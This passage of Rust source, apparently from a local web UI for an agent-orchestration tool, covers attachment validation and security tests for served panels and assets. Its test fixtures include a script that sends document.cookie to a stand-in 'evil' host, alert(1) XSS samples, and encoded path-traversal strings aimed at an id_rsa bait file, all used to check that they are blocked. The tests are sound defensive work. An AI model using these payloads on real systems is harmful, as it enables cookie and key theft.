7129 Path((id, att)): Path<(String, String)>,
7130) -> ApiResult<Response> {
7131 blocking(move || {
7132 let id = resolve_talk(&ui.talks, &id)?;
7133 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
7134 return Err(ApiError::not_found(format!(
7135 "talk {id} has no attachment `{att}`"
7136 )));
7137 };
7138 Ok(attachment_response(&meta.mime, data))
7139 })
7140 .await
7141}
7142
7143fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
7154 if data.len() > ATTACHMENT_MAX_BYTES {
7155 return Err(ApiError::bad_request(format!(
7156 "attachment is {} bytes, over the {} MiB limit",
7157 data.len(),
7158 ATTACHMENT_MAX_BYTES / (1024 * 1024)
7159 ))
7160 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
7161 }
7162 if data.is_empty() {
7163 return Err(ApiError::bad_request("attachment is empty"));
7164 }
7165 let declared = declared_mime(headers)?;
7166 match sniffed_mime(data) {
7167 Some(sniffed) if sniffed == declared => Ok(declared),
7168 Some(sniffed) => Err(ApiError::bad_request(format!(
7169 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
7170 ))),
7171 None => Err(ApiError::bad_request(
7172 "the file's bytes do not match any accepted image format",
7173 )),
7174 }
7175}
7176
7177fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
7181 let raw = headers
7182 .get(header::CONTENT_TYPE)
7183 .and_then(|v| v.to_str().ok())
7184 .unwrap_or("")
7185 .split(';')
7186 .next()
7187 .unwrap_or("")
7188 .trim()
7189 .to_ascii_lowercase();
7190 ATTACHMENT_MIME_WHITELIST
7191 .iter()
7192 .find(|&&m| m == raw)
7193 .copied()
7194 .ok_or_else(|| {
7195 if raw == "image/svg+xml" {
7196 ApiError::bad_request(
7197 "SVG is not accepted: it can carry active content (e.g. a <script>), \
7198 not just a picture",
7199 )
7200 } else if raw.is_empty() {
7201 ApiError::bad_request("Content-Type is required for an attachment upload")
7202 } else {
7203 ApiError::bad_request(format!(
7204 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7205 image/gif or image/webp"
7206 ))
7207 }
7208 })
7209}
7210
7211fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7214 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7215 Some("image/png")
7216 } else if data.starts_with(b"\xff\xd8\xff") {
7217 Some("image/jpeg")
7218 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7219 Some("image/gif")
7220 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7221 Some("image/webp")
7222 } else {
7223 None
7224 }
7225}
7226
7227fn filename_header(headers: &HeaderMap) -> String {
7233 headers
7234 .get(FILENAME_HEADER)
7235 .and_then(|v| v.to_str().ok())
7236 .map(str::trim)
7237 .filter(|s| !s.is_empty())
7238 .unwrap_or("attachment")
7239 .to_owned()
7240}
7241
7242fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7249 let content_type = ATTACHMENT_MIME_WHITELIST
7250 .iter()
7251 .find(|&&m| m == mime)
7252 .copied()
7253 .unwrap_or("application/octet-stream");
7254 (
7255 [
7256 (header::CONTENT_TYPE, content_type),
7257 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7258 ],
7259 body,
7260 )
7261 .into_response()
7262}
7263
7264async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7272 let repo = repo.to_path_buf();
7273 blocking(move || {
7274 let (cfg, _) = Config::discover(&repo, None)?;
7275 Ok(cfg)
7276 })
7277 .await
7278}
7279
7280fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7286 let mut hits = ids
7287 .into_iter()
7288 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7289 match (hits.next(), hits.next()) {
7290 (Some(one), None) => Ok(one),
7291 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7292 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7293 "`{prefix}` matches more than one {what}, including {a} and {b}"
7294 ))),
7295 }
7296}
7297
7298#[cfg(test)]
7299mod tests {
7300
7301 #[test]
7302 fn holder_reads_the_lease_not_the_record() {
7303 let mut q = Question::new(
7304 "run".to_owned(),
7305 "implement".to_owned(),
7306 "impl-A".to_owned(),
7307 "which?".to_owned(),
7308 String::new(),
7309 Vec::new(),
7310 );
7311 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7312 q.cwd = Some("/tmp".to_owned());
7313 assert_eq!(holder_of(&q, None), Some("nobody"));
7314 let beat = |kind, ago: i64| ask::Lease {
7315 kind,
7316 pid: 1,
7317 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7318 .unwrap(),
7319 };
7320 let fresh = beat(ask::WaiterKind::Asker, 1);
7321 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7322 let daemon = beat(ask::WaiterKind::Daemon, 1);
7323 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7324 let stale = beat(ask::WaiterKind::Asker, 3600);
7325 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7326
7327 let mut c = Question::new(
7330 "task".to_owned(),
7331 crate::conduct::NODE.to_owned(),
7332 "conduct".to_owned(),
7333 "which?".to_owned(),
7334 String::new(),
7335 Vec::new(),
7336 );
7337 assert_eq!(holder_of(&c, None), Some("nobody"));
7338 c.cwd = Some("/tmp".to_owned());
7339 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7340 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7341 let deputy = beat(ask::WaiterKind::Deputy, 1);
7342 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7343 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7344
7345 let mut r = Question::new(
7347 String::new(),
7348 crate::bump::NOTICE_NODE.to_owned(),
7349 "release-watch".to_owned(),
7350 "stuck?".to_owned(),
7351 String::new(),
7352 vec!["hold".to_owned()],
7353 );
7354 assert_eq!(holder_of(&r, None), Some("nobody"));
7355 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7356 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7357 r.deputy = None;
7359 r.seat = "bump".to_owned();
7360 assert_eq!(holder_of(&r, None), None);
7361
7362 let mut m = Question::new(
7365 "run".to_owned(),
7366 crate::land::APPROVAL_NODE.to_owned(),
7367 "land".to_owned(),
7368 "merge?".to_owned(),
7369 String::new(),
7370 Vec::new(),
7371 );
7372 assert_eq!(holder_of(&m, None), Some("nobody"));
7373 assert_eq!(
7374 holder_of(&m, Some(&fresh)),
7375 Some("nobody"),
7376 "a lease with no deputy is not a listener"
7377 );
7378 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7379 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7380 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7381 assert_eq!(holder_of(&m, None), Some("nobody"));
7382 }
7383
7384 fn stub_config() -> Config {
7385 Config {
7388 agents: vec![crate::config::AgentSpec {
7389 id: "stub".to_owned(),
7390 kind: AgentKind::Command,
7391 model: None,
7392 command: vec!["true".to_owned()],
7393 extra_args: Vec::new(),
7394 env: Default::default(),
7395 prompt_delivery: None,
7396 }],
7397 ..Config::default()
7398 }
7399 }
7400
7401 fn plain_question(seat: &str) -> Question {
7402 Question::new(
7403 String::new(),
7404 "n".to_owned(),
7405 seat.to_owned(),
7406 "s".to_owned(),
7407 String::new(),
7408 Vec::new(),
7409 )
7410 }
7411
7412 #[test]
7413 fn deputies_enabled_follows_the_config() {
7414 let on = stub_config();
7415 assert!(crate::deputy::can_start(Some(&on), ""));
7416 assert!(crate::deputy::can_start(Some(&on), "stub"));
7417 let mut off = on.clone();
7418 off.daemon.max_deputies = 0;
7419 assert!(!crate::deputy::can_start(Some(&off), ""));
7420 let mut empty = on;
7421 empty.agents.clear();
7422 assert!(!crate::deputy::can_start(Some(&empty), ""));
7423 assert!(!crate::deputy::can_start(None, ""));
7424 }
7425
7426 #[test]
7427 fn question_views_load_the_config_once() {
7428 let dir = TempDir::new().unwrap();
7429 let store = ask::Questions::at(dir.path().to_path_buf());
7430 let mut with_deputy = plain_question("b");
7431 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7432 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7433
7434 let calls = std::cell::Cell::new(0usize);
7435 let views = question_views(qs.clone(), &store, || {
7436 calls.set(calls.get() + 1);
7437 Some(stub_config())
7438 });
7439 assert_eq!(calls.get(), 1);
7440 assert_eq!(views.len(), 3);
7441 for (v, q) in views.iter().zip(&qs) {
7442 assert_eq!(
7443 v.deputies_enabled,
7444 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7445 );
7446 }
7447
7448 let views = question_views(qs, &store, || None);
7449 assert!(views.iter().all(|v| !v.deputies_enabled));
7450
7451 let calls = std::cell::Cell::new(0usize);
7452 let views = question_views(Vec::new(), &store, || {
7453 calls.set(calls.get() + 1);
7454 None
7455 });
7456 assert!(views.is_empty());
7457 assert_eq!(calls.get(), 0);
7458 }
7459
7460 use pretty_assertions::assert_eq;
7461 use serde_json::Value;
7462 use tempfile::TempDir;
7463 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7464
7465 use super::*;
7466 use crate::config::Config;
7467 use crate::queue::Source;
7468
7469 const SETTLE_STEPS: usize = 3_000;
7480
7481 struct Fixture {
7487 home: TempDir,
7488 addr: SocketAddr,
7489 }
7490
7491 impl Fixture {
7492 async fn start() -> Self {
7493 Self::with_loop(launch_idle).await
7494 }
7495
7496 async fn with_loop(launch: Launch) -> Self {
7498 let home = TempDir::new().expect("temp home");
7499 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7500 Self { home, addr }
7501 }
7502
7503 async fn with_repo(repo: PathBuf) -> Self {
7507 let home = TempDir::new().expect("temp home");
7508 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7509 Self { home, addr }
7510 }
7511
7512 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7515 let home = TempDir::new().expect("temp home");
7516 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7517 Self { home, addr }
7518 }
7519
7520 async fn serve(
7521 home: &FsPath,
7522 repo: PathBuf,
7523 launch: Launch,
7524 machine: Option<PathBuf>,
7525 ) -> SocketAddr {
7526 let queue = Queue::at(home.join("queue"));
7527 let runs = home.join("runs");
7528 std::fs::create_dir_all(&runs).expect("runs dir");
7529 let worktrees = home.join("wt").join("magi");
7530 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7531 let ui = Ui::new(
7532 queue,
7533 Questions::at(home.join("questions")),
7534 Talks::at(home.join("talks")),
7535 runs,
7536 home.to_path_buf(),
7537 repo,
7538 )
7539 .with_worktrees_root(worktrees)
7540 .with_machine_config(machine)
7541 .with_launch(launch);
7542 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7543 .await
7544 .expect("bind loopback");
7545 let addr = listener.local_addr().expect("local addr");
7546 tokio::spawn(async move {
7547 let _ = axum::serve(listener, ui.router()).await;
7548 });
7549 addr
7550 }
7551
7552 fn queue(&self) -> Queue {
7553 Queue::at(self.home.path().join("queue"))
7554 }
7555
7556 fn questions(&self) -> Questions {
7557 Questions::at(self.home.path().join("questions"))
7558 }
7559
7560 fn talks(&self) -> Talks {
7561 Talks::at(self.home.path().join("talks"))
7562 }
7563
7564 fn runs(&self) -> PathBuf {
7565 self.home.path().join("runs")
7566 }
7567
7568 async fn get(&self, path: &str) -> Res {
7569 request(self.addr, "GET", path, None).await
7570 }
7571
7572 async fn head(&self, path: &str) -> Res {
7577 request(self.addr, "HEAD", path, None).await
7578 }
7579
7580 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7581 request(self.addr, "POST", path, body).await
7582 }
7583
7584 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7585 request_with(self.addr, "GET", path, None, extra).await
7586 }
7587
7588 async fn delete(&self, path: &str) -> Res {
7589 request(self.addr, "DELETE", path, None).await
7590 }
7591
7592 async fn put(&self, path: &str, body: &str) -> Res {
7593 request(self.addr, "PUT", path, Some(body)).await
7594 }
7595
7596 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7598 request_bytes(self.addr, path, headers, body).await
7599 }
7600 }
7601
7602 struct Res {
7603 status: u16,
7604 headers: String,
7605 head: String,
7610 body: String,
7611 bytes: Vec<u8>,
7615 }
7616
7617 impl Res {
7618 fn json(&self) -> Value {
7619 serde_json::from_str(&self.body)
7620 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7621 }
7622
7623 fn header(&self, name: &str) -> Option<&str> {
7625 self.head.lines().find_map(|line| {
7626 let (key, value) = line.split_once(':')?;
7627 key.trim()
7628 .eq_ignore_ascii_case(name)
7629 .then(|| value.trim_start().trim_end_matches('\r'))
7630 })
7631 }
7632 }
7633
7634 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7637 request_with(addr, method, path, body, &[]).await
7638 }
7639
7640 async fn request_with(
7644 addr: SocketAddr,
7645 method: &str,
7646 path: &str,
7647 body: Option<&str>,
7648 extra: &[(&str, &str)],
7649 ) -> Res {
7650 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7651 for (name, value) in extra {
7652 head.push_str(&format!("{name}: {value}\r\n"));
7653 }
7654 if let Some(body) = body {
7655 head.push_str("Content-Type: application/json\r\n");
7656 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7657 }
7658 head.push_str("\r\n");
7659 if let Some(body) = body {
7660 head.push_str(body);
7661 }
7662 let mut socket = tokio::net::TcpStream::connect(addr)
7663 .await
7664 .expect("connect to the test server");
7665 socket
7666 .write_all(head.as_bytes())
7667 .await
7668 .expect("write request");
7669 let mut raw = Vec::new();
7670 socket.read_to_end(&mut raw).await.expect("read response");
7671 let split = raw
7674 .windows(4)
7675 .position(|w| w == b"\r\n\r\n")
7676 .expect("a header block");
7677 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7678 let bytes = raw[split + 4..].to_vec();
7679 let status = head
7680 .lines()
7681 .next()
7682 .and_then(|line| line.split_whitespace().nth(1))
7683 .and_then(|code| code.parse().ok())
7684 .expect("a status line");
7685 Res {
7686 status,
7687 headers: head.to_lowercase(),
7688 head,
7689 body: String::from_utf8_lossy(&bytes).into_owned(),
7690 bytes,
7691 }
7692 }
7693
7694 async fn request_bytes(
7700 addr: SocketAddr,
7701 path: &str,
7702 headers: &[(&str, &str)],
7703 body: &[u8],
7704 ) -> Res {
7705 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7706 for (name, value) in headers {
7707 head.push_str(&format!("{name}: {value}\r\n"));
7708 }
7709 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7710 let mut socket = tokio::net::TcpStream::connect(addr)
7711 .await
7712 .expect("connect to the test server");
7713 socket
7714 .write_all(head.as_bytes())
7715 .await
7716 .expect("write request head");
7717 socket.write_all(body).await.expect("write request body");
7718 let mut raw = Vec::new();
7719 socket.read_to_end(&mut raw).await.expect("read response");
7720 let split = raw
7721 .windows(4)
7722 .position(|w| w == b"\r\n\r\n")
7723 .expect("a header block");
7724 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7725 let bytes = raw[split + 4..].to_vec();
7726 let status = head
7727 .lines()
7728 .next()
7729 .and_then(|line| line.split_whitespace().nth(1))
7730 .and_then(|code| code.parse().ok())
7731 .expect("a status line");
7732 Res {
7733 status,
7734 headers: head.to_lowercase(),
7735 head,
7736 body: String::from_utf8_lossy(&bytes).into_owned(),
7737 bytes,
7738 }
7739 }
7740
7741 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7743 let mut state = RunState::new(
7744 PathBuf::from("/repo/magi"),
7745 "main".to_owned(),
7746 "0123456789abcdef".to_owned(),
7747 "Add a web UI\n\nMobile first.".to_owned(),
7748 Config::default(),
7749 );
7750 state.id = id.to_owned();
7751 state.status = status;
7752 let dir = runs.join(id);
7753 std::fs::create_dir_all(&dir).expect("run dir");
7754 std::fs::write(
7755 dir.join("run.json"),
7756 serde_json::to_string_pretty(&state).expect("serialize run"),
7757 )
7758 .expect("write run.json");
7759 }
7760
7761 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7765 let mut state = RunState::new(
7766 PathBuf::from(repo),
7767 "main".to_owned(),
7768 "0123456789abcdef".to_owned(),
7769 "task".to_owned(),
7770 Config::default(),
7771 );
7772 state.id = id.to_owned();
7773 state.status = status;
7774 let dir = runs.join(id);
7775 std::fs::create_dir_all(&dir).expect("run dir");
7776 std::fs::write(
7777 dir.join("run.json"),
7778 serde_json::to_string_pretty(&state).expect("serialize run"),
7779 )
7780 .expect("write run.json");
7781 }
7782
7783 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7784 let body = serde_json::json!({
7785 "schema": 1,
7786 "pid": 4242,
7787 "started_at": Timestamp::now().to_string(),
7788 "updated_at": updated_at.to_string(),
7789 "idle": false,
7790 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7791 "completed": 7,
7792 "polls": 143,
7793 });
7794 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7795 }
7796
7797 fn launch_idle(
7807 _opts: daemon::Opts,
7808 stop: daemon::Stop,
7809 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7810 Box::pin(async move {
7811 while !stop.stopped() {
7812 tokio::time::sleep(Duration::from_millis(2)).await;
7813 }
7814 Ok(())
7815 })
7816 }
7817
7818 fn launch_broken(
7821 _opts: daemon::Opts,
7822 _stop: daemon::Stop,
7823 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7824 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7829 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7830 Box::pin(async move {
7831 Err(anyhow::anyhow!(if first {
7832 "publish the daemon status file: read-only file system"
7833 } else {
7834 "the restarted stand-in failed as well"
7835 }))
7836 })
7837 }
7838
7839 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7846 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7847
7848 fn launch_knocking_on_the_way_out(
7855 _opts: daemon::Opts,
7856 stop: daemon::Stop,
7857 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7858 Box::pin(async move {
7859 while !stop.stopped() {
7860 tokio::time::sleep(Duration::from_millis(2)).await;
7861 }
7862 let addr = PARK_KNOCK
7863 .lock()
7864 .expect("park knock")
7865 .expect("the test set an address");
7866 let heard = request(addr, "GET", "/api/health", None).await.status;
7867 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7868 Ok(())
7869 })
7870 }
7871
7872 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7881 for _ in 0..SETTLE_STEPS {
7882 let view = fx.get("/api/loop").await.json();
7883 if want(&view) {
7884 return view;
7885 }
7886 tokio::time::sleep(Duration::from_millis(10)).await;
7887 }
7888 panic!(
7889 "the loop never settled: {}",
7890 fx.get("/api/loop").await.json()
7891 );
7892 }
7893
7894 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7896 let store = fx.questions();
7897 let mut q = Question::new(
7898 "20260902-000000-beef".to_owned(),
7899 "implement".to_owned(),
7900 "impl-A".to_owned(),
7901 summary.to_owned(),
7902 "because it matters".to_owned(),
7903 choices.iter().map(|c| (*c).to_owned()).collect(),
7904 );
7905 store.put(&mut q).expect("put question");
7906 q.id
7907 }
7908
7909 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7915 let store = fx.questions();
7916 let mut q = Question::new(
7917 "20260902-000000-beef".to_owned(),
7918 "land".to_owned(),
7919 "fix".to_owned(),
7920 "Merge this?".to_owned(),
7921 "the diff is in the panel".to_owned(),
7922 vec!["merge".to_owned(), "hold".to_owned()],
7923 );
7924 let staging = fx.home.path().join("staging");
7927 std::fs::create_dir_all(&staging).expect("staging dir");
7928 let sources: Vec<PathBuf> = assets
7929 .iter()
7930 .map(|(name, bytes)| {
7931 let path = staging.join(name);
7932 std::fs::write(&path, bytes).expect("write staged asset");
7933 path
7934 })
7935 .collect();
7936 store
7937 .put_panel(&mut q, html, &sources)
7938 .expect("write the panel");
7939 store.put(&mut q).expect("put question");
7940 q.id
7941 }
7942
7943 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7952 seed_talk_at(&fx.talks(), id, status)
7953 }
7954
7955 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7956 std::fs::create_dir_all(store.root()).expect("talks dir");
7957 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7958 .expect("serialize a seat");
7959 let body = serde_json::json!({
7960 "schema": 1,
7961 "id": id,
7962 "repo": "/repo/magi",
7963 "agent": "mock",
7964 "status": status,
7965 "turns": [],
7966 "created_at": Timestamp::now().to_string(),
7967 "updated_at": Timestamp::now().to_string(),
7968 "seat": seat,
7969 });
7970 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7971 store.get(id).expect("the seeded talk has to be readable");
7972 id.to_owned()
7973 }
7974
7975 #[tokio::test]
7976 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7977 let fx = Fixture::start().await;
7978 let id = panel(
7979 &fx,
7980 "<h1>Merge?</h1><img src=\"diff.svg\">",
7981 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7982 );
7983
7984 for path in [
7985 format!("/api/questions/{id}/panel"),
7986 format!("/api/questions/{id}/asset/diff.svg"),
7987 ] {
7988 let res = fx.get(&path).await;
7989 assert_eq!(res.status, 200, "{path}: {}", res.body);
7990 assert_eq!(
7996 res.header("content-security-policy"),
7997 Some(
7998 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7999 font-src data:; base-uri 'none'; form-action 'none'; \
8000 frame-ancestors 'self'"
8001 ),
8002 "{path} is the only thing between a hostile panel and the tailnet"
8003 );
8004 assert_eq!(
8005 res.header("x-content-type-options"),
8006 Some("nosniff"),
8007 "{path}: a browser must not re-decide the type we sent"
8008 );
8009 assert_eq!(
8010 res.header("referrer-policy"),
8011 Some("no-referrer"),
8012 "{path}: a panel must not leak the question id off the machine"
8013 );
8014
8015 let pre = fx.head(&path).await;
8020 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8021 assert_eq!(
8022 pre.header("content-security-policy"),
8023 res.header("content-security-policy"),
8024 "{path}: the preflight carries the same policy"
8025 );
8026 assert_eq!(
8027 pre.header("content-type"),
8028 res.header("content-type"),
8029 "{path}: the preflight carries the same type"
8030 );
8031 }
8032 }
8033
8034 #[tokio::test]
8035 async fn a_panel_reaches_the_browser_byte_for_byte() {
8036 let fx = Fixture::start().await;
8037 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
8042 let id = panel(&fx, html, &[]);
8043
8044 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
8045
8046 assert_eq!(res.status, 200);
8047 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
8048 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
8049 assert_eq!(
8050 res.header("content-disposition"),
8051 None,
8052 "the panel itself is rendered in the frame, not downloaded"
8053 );
8054 }
8055
8056 #[tokio::test]
8057 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
8058 let fx = Fixture::start().await;
8059 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
8060 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
8061 let id = panel(
8062 &fx,
8063 "<img src=\"diff.svg\"><img src=\"shot.png\">",
8064 &[("diff.svg", svg), ("shot.png", png)],
8065 );
8066
8067 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
8068 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
8069
8070 assert_eq!(as_svg.status, 200);
8071 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
8072 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
8077
8078 assert_eq!(as_png.status, 200);
8079 assert_eq!(as_png.header("content-type"), Some("image/png"));
8080 assert_eq!(
8081 as_png.header("content-disposition"),
8082 None,
8083 "a raster image has no execution surface, so tapping it still shows it"
8084 );
8085 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
8086 }
8087
8088 #[tokio::test]
8089 async fn an_html_asset_is_never_served_as_html() {
8090 let fx = Fixture::start().await;
8091 let id = panel(
8092 &fx,
8093 "<p>see the notes</p>",
8094 &[
8095 (
8096 "notes.html",
8097 b"<script>fetch('http://evil/'+document.cookie)</script>",
8098 ),
8099 ("hook.js", b"fetch('http://evil/')"),
8100 ("data.json", b"{}"),
8101 ("HEADLINE.TXT", b"plain"),
8102 ],
8103 );
8104
8105 for name in ["notes.html", "hook.js", "data.json"] {
8106 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
8107 assert_eq!(res.status, 200, "{name}: {}", res.body);
8108 assert_eq!(
8113 res.header("content-type"),
8114 Some("application/octet-stream"),
8115 "{name} must not be a type the browser will execute or render"
8116 );
8117 }
8118 let txt = fx
8121 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
8122 .await;
8123 assert_eq!(
8124 txt.header("content-type"),
8125 Some("text/plain; charset=utf-8")
8126 );
8127 }
8128
8129 #[tokio::test]
8130 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
8131 let fx = Fixture::start().await;
8132 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8133 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
8137
8138 for encoded in [
8145 "%2e%2e%2fid_rsa",
8146 "..%2fid_rsa",
8147 "..%5cid_rsa",
8148 "%2e%2e%5cid_rsa",
8149 "diff%00.svg",
8150 "..",
8151 ".hidden",
8152 "%2e%2e%2f%2e%2e%2fid_rsa",
8153 ] {
8154 let res = fx
8155 .get(&format!("/api/questions/{id}/asset/{encoded}"))
8156 .await;
8157 assert_eq!(
8158 res.status, 400,
8159 "`{encoded}` has to be refused by name, not looked up: {}",
8160 res.body
8161 );
8162 assert!(res.json()["error"].is_string(), "{}", res.body);
8163 }
8164
8165 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
8171 let res = fx
8172 .get(&format!("/api/questions/{id}/asset/{literal}"))
8173 .await;
8174 assert_eq!(
8175 res.status, 404,
8176 "`{literal}` must not match the asset route at all: {}",
8177 res.body
8178 );
8179 }
8180 }
8181
8182 #[tokio::test]
8183 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
8184 let fx = Fixture::start().await;
8185 let plain = ask(&fx, "Which backend?", &["SQLite"]);
8186 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
8187
8188 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
8192 assert_eq!(none.status, 404, "{}", none.body);
8193 assert!(none.json()["error"].is_string(), "{}", none.body);
8194 assert_eq!(
8195 fx.head(&format!("/api/questions/{plain}/panel"))
8196 .await
8197 .status,
8198 404,
8199 "the preflight is the only way the client can learn this"
8200 );
8201
8202 let missing = fx
8204 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
8205 .await;
8206 assert_eq!(missing.status, 404, "{}", missing.body);
8207 assert!(missing.json()["error"].is_string(), "{}", missing.body);
8208
8209 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
8211 assert_eq!(
8212 fx.get("/api/questions/nope/asset/diff.svg").await.status,
8213 404
8214 );
8215 }
8216
8217 #[tokio::test]
8218 async fn a_run_with_an_open_question_reads_as_waiting() {
8219 let fx = Fixture::start().await;
8220 let run = "20260902-000000-beef".to_owned();
8221 write_run(&fx.runs(), &run, RunStatus::Implementing);
8222
8223 let before = fx.get("/api/runs").await.json();
8224 assert_eq!(before[0]["waiting"], false, "{before}");
8225
8226 let store = fx.questions();
8227 let mut q = Question::new(
8228 run.clone(),
8229 "implement".to_owned(),
8230 "impl-A".to_owned(),
8231 "Which backend?".to_owned(),
8232 String::new(),
8233 vec!["SQLite".to_owned()],
8234 );
8235 store.put(&mut q).expect("put");
8236
8237 let during = fx.get("/api/runs").await.json();
8238 assert_eq!(during[0]["waiting"], true, "{during}");
8239
8240 q.answer(Answer::Choice("SQLite".to_owned()))
8243 .expect("answer");
8244 store.put(&mut q).expect("put");
8245 let after = fx.get("/api/runs").await.json();
8246 assert_eq!(after[0]["waiting"], false, "{after}");
8247 }
8248
8249 #[tokio::test]
8250 async fn an_open_question_is_listed_and_counted_by_health() {
8251 let fx = Fixture::start().await;
8252 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8253
8254 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8255 let listed = fx.get("/api/questions").await.json();
8256 assert_eq!(listed.as_array().expect("array").len(), 1);
8257 assert_eq!(listed[0]["id"], id);
8258 assert_eq!(listed[0]["status"], "open");
8259 assert_eq!(listed[0]["choices"][1], "Redis");
8260 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8263 }
8264
8265 #[tokio::test]
8266 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8267 let fx = Fixture::start().await;
